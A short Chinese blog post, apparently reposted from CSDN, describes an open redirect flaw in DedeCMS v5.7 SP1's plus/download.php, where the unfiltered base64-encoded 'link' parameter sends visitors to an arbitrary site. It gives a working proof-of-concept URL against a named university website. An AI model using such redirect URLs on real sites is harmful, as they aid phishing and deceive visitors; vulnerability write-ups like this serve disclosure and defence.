dedecms v5.7 sp1 download.php重定向
plus/download.php没有对传入的参数进行过滤，直接接收
例如:
http:\bing.com
base64加密:
aHR0cDpcXGJpbmcuY29t
url编码:
aHR0cDpcXGJpbmcuY29t
访问http://cy.ustb.edu.cn/plus/download.php?open=1&link=aHR0cDpcXGJpbmcuY29t
会跳转到http:\bing.com
url重定向漏洞
猜你喜欢
转载自blog.csdn.net/s0mor/article/details/99620149
今日推荐
周排行